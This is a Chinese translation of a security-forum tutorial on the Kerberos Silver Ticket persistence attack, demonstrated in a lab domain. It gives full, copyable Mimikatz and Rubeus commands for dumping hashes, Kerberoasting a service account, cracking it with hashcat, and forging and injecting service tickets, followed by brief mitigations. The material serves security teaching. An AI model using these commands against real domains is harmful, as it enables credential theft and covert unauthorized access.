-
-
[翻译]域持久性: Silver凭证攻击
-
发表于: 2022-5-15 13:43 689
-
原文标题:Domain Persistence: Silver Ticket Attack
原文地址:https://www.hackingarticles.in/domain-persistence-silver-ticket-attack/
翻译作者:梦幻的彼岸
简介
Benjamin Delpy(mimikatz的创造者)在Blackhat 2014中介绍了他滥用Kerberos会话的Silver凭证攻击。Silver凭证是伪造的服务或特定服务的TGS凭证,可用于在与活动目录企业域连接的被攻击系统上保持持久性。在攻击中,攻击者可以制作一个有效的服务TGS,并使用相关的NTLM哈希值可以进一步制作其他服务的凭证。这篇文章包含与Silver凭证攻击相关的基本理论和演示。
Silver凭证理论
在我们开始之前,强烈建议你在这里阅读关于golden凭证的内容。
Kerberos的基本流程可以通过阅读我们的文章来了解。一旦你阅读并理解了Kerberos的工作原理,我们就可以继续进行Silver凭证攻击了。
在golden凭证攻击中,我们使用了krbtgt账户的哈希值,而在Silver凭证攻击中,我们将使用服务账户的密码哈希值。服务账户的密码哈希值可以通过各种方法提取,Kerberoasting就是其中之一。由于Silver凭证攻击不需要中间的TGT,Silver凭证可以在不与域控制器进行任何通信的情况下被伪造,因此比golden凭证攻击更隐蔽。
Silver凭证攻击的工作方式如下所述:
- 第一步: 利用服务账户的密码哈希值(NTLM哈希值)。用户可以使用Mimikatz、Kerberoasting等工具来执行此操作。
- 第二步: 通过指定以下内容来获取新票证:
- Service hash
- Service name
- Target FQDN
- Domain SID
- 第三步: 将新创建的Silver凭证注入到终端会话中,以利用和保持持久性
让我们看看它的实际效果。
通过Mimikatz 获取Silver凭证
在你现在看到的演示中,你会注意到我们使用了机器账户 "dc1$"的NTLM哈希值。你们中的许多人可能会感到困惑,因为我们不得不使用一个服务账户的哈希值。请注意,一台计算机还承载着多种服务,其中之一就是通用互联网文件系统服务(CIFS--文件共享服务)。因此,CIFS服务的密码哈希值与机器账户相同。
目标:制作一个silver凭证,在dc1.ignite.local机器上建立CIFS(共享)的持久性
由于攻击都是与维持持久性有关,我们必须假设以下情况:
- 攻击者已经入侵了一台低权限的受害者机器(这里,用户名:harshitrajpal)。
- 攻击者以某种方式获得了目标机器(dc1.ignite.local)的密码/NTLM
- 攻击者在低权限机器上制作了silver凭证,以获得dc1.ignite.local上的CIFS服务的访问权和维持持久性。
让我们首先向您展示当前的用户、凭证,以及当我们访问dc1.ignite.local上的共享时会发生什么
上述机器是低权限的机器。
接下来,我们需要dc1.ignite.local电脑账户的哈希值。可能有各种方法,但我们将快速跟踪并使用Mimikatz来获得它。让我们先激活Mimikatz,用sekurlsa::logonpasswords命令转储哈希值。注意,你可以按照任何方法来转储哈希值。
privilege::debug sekurlsa::logonpasswords
这将转储机器内存中的所有哈希值,包括机器账户的哈希值。稍微滚动一下,我们发现我们的机器账户 "dc1$"的NTLM
接下来,为了伪造一个silver凭证,我们必须找到域名的SID,使用命令可以很容易找到。请注意,最后一个连字符之后的数字(在这里,1115被称为相对SID,我们不希望这样。该部分之前的所有内容都是与我们相关的域名SID)
whoami /user
现在,为了伪造一个silver凭证,可以使用Mimikatz的 "golden "模块。我们只需插入我们的变量。
在这里,我使用/ptt标志,直接在当前的shell中插入凭证。
/id:它是任何随机的ID,在检查时可以在事件日志中看到。可以是随机的。
/sid:关于域名。在这里阅读更多关于SID的信息。
/domain:目标域的有效FQDN
/service:生成凭证的服务
/rc4:受害者机器的计算机账户的NTLM哈希值(之前发现的)。
/user:冒充的用户名
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339 exit klist
正如你在上面看到的,现在一个凭证已经被保存在当前会话的内存中。现在你将能够访问目标机器的CIFS。
dir \\dc1.ignite.local\c$
然而,如果你不想立即在内存中插入凭证,而是希望保存一个ticket.kirbi文件,你只需去掉"/ptt "标志,其余部分保持原样。
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339 exit klist dir
现在,这个kirbi凭证可以与Rubeus ptt模块等工具一起使用,并插入到内存中,随时使用。
rubeus.exe ptt /ticket:ticket.kirbi klist dir \\dc1.ignite.local\c$
当然,上面的整个过程也可以只用Rubeus来完成。
通过Rubeus 获取Silver 凭证
我们已经看到了CIFS作为一个例子,如果你跟随文章到目前为止,你也可以用Rubeus复制相同的东西,只需滚动一下鼠标就可以使用这些命令。然而,这次我想以不同的服务为目标,所以我设置了一个SQL服务器,并指定该服务由用户 "sqluser "运行(可以通过运行->services.msc->SQL->properties->logon完成)。
这将使SQL服务通过我们新创建的服务帐户运行。
现在,我们需要破坏这个账户的NTLM哈希值。我们将使用Kerberoasting攻击。请按照我们的指南来理解这个攻击,但简单地说,你在Rubeus中运行以下命令。
/domain: 目标FQDN
/creduser: 任何有效的被攻击的用户名
/credpassword: 被攻击的用户的有效密码
/nowrap: 为了使凭证blob(二进制对象)在Rubeus中以单行形式出现
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
正如你所看到的,Rubeus已经自动确定了一个有效的Kerberoastable账户并转储了它的TGS。现在我们将使用Hashcat从这个TGS中离线提取密码
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force
几秒钟后,我们收到了我们的明文密码,"Password@1"
现在,让我们用Rubeus将其转换成NTLM哈希值(rc4_hmac),因为我们的silver 凭证需要一个有效的NTLM
rubeus.exe hash /password:Password@1
我们还需要知道SID。这可以用whoami /user命令来完成
最后,为了在Rubeus中为当前用户伪造一个凭证,我们使用以下命令:
rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt
/ptt 选项完全导入当前会话中的凭证。如果没有/ptt,ticket.kirbi文件将被保存。但正如你所看到的,现在已经创建了一个有效的silver 凭证
我们现在可以尝试登录服务器,运行一个显示主机名的基本命令。
sqlcmd -S 192.168.1.2,1433 SELECT HOST_NAME() AS HostName go
然后就可以了! 正如你所看到的,我们的用户现在可以使用我们刚刚伪造的凭证连接到SQL服务。
缓解措施
由于该攻击是基于一个离线机制,并且没有DC参与,所以很难缓解该攻击。然而,仍然可以采取以下步骤来进行防护:
- 启用PAC验证。如果启用,提交的凭证应首先由DC验证。因此,Silver 将被立即拒绝。
- 使用强大的密码以防止暴力破解。
- 控制必要的权限或将某些可以使用特定服务的用户列入白名单。
- 缓解Kerberoasting问题
总结
这篇文章谈到了Silver 凭证攻击,以及如何使用这种方法伪造一个特定服务的TGS。我们还使用两个工具实际演示了攻击者如何伪造和利用Silver 凭证。在现实生活中,获得一张golden 凭证是相当困难的,但Silver可以很容易地被伪造,因为人们对Kerberos保护的认识还不是很到位。希望你喜欢这篇文章。谢谢你的阅读。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]物联网安全:基础篇 4215
- 威胁情报小课堂:阻止活跃勒索软件的感染 2218
- [翻译]发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击 7121
- 威胁情报小课堂:LockBit Black 2112
- 威胁情报小课堂:Nitrogen 2102